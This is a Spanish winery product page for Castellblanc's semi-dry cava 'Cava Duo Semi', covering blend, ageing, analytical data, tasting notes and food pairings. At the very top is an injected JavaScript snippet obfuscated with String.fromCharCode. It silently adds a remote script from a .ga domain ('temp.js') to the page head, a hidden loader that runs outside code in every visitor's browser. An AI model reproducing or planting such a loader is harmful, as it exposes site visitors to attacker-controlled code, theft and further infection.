Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,111,108,111,46,100,101,99,108,97,114,101,98,117,115,105,110,101,115,115,103,114,111,117,112,46,103,97,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Cava Duo Semi

Coupage

50%  Macabeo
50%  Xarel·lo

Crianza

12 – 14 meses. Siempre a una temperatura constante entre
12 – 14ºC. en la oscuridad de nuestras cavas subterráneas al abrigo de la luz y de los ruidos.

Datos analíticos
Acidez total: 3,7 g/l
Azúcares residuales: 38 g/l
Alcohol: 11,5 % vol

Nota de cata

De color amarillo pálido con reflejos dorados, presenta multitud de “rosarios” persistentes de finas burbujas.
En nariz destaca por sus elegantes notas de fruta blanca y panadería.
En boca encontramos un cava fresco pero potente y muy seco.

Condiciones óptimas de consumo
Servir entre 5 y 7ºC.

Marida excelentemente con gran cantidad de platos, gracias a la igual proporción en el “assemblage” de solo dos variedades clásicas: Xarel·lo y Macabeo, aportando un particular equilibrio. Aperitivos, Quesos suaves o poco curados, Pasta y Pizza, Ahumados, Carnes blancas, Mariscos y crustáceo, Pescados hervidos o a la plancha, Todo tipo de arroces.

Condiciones óptimas de conservación

Para que conserve sus cualidades organolépticas debe consumirse como máximo a los 2 años después del momento del degüelle y siendo conservado siempre en posición vertical, al abrigo de la luz y de los cambios de temperatura (T = 12 – 14ºC).

Contacta con nosotros

Castellblanc 2015 | Todos los derechos reservados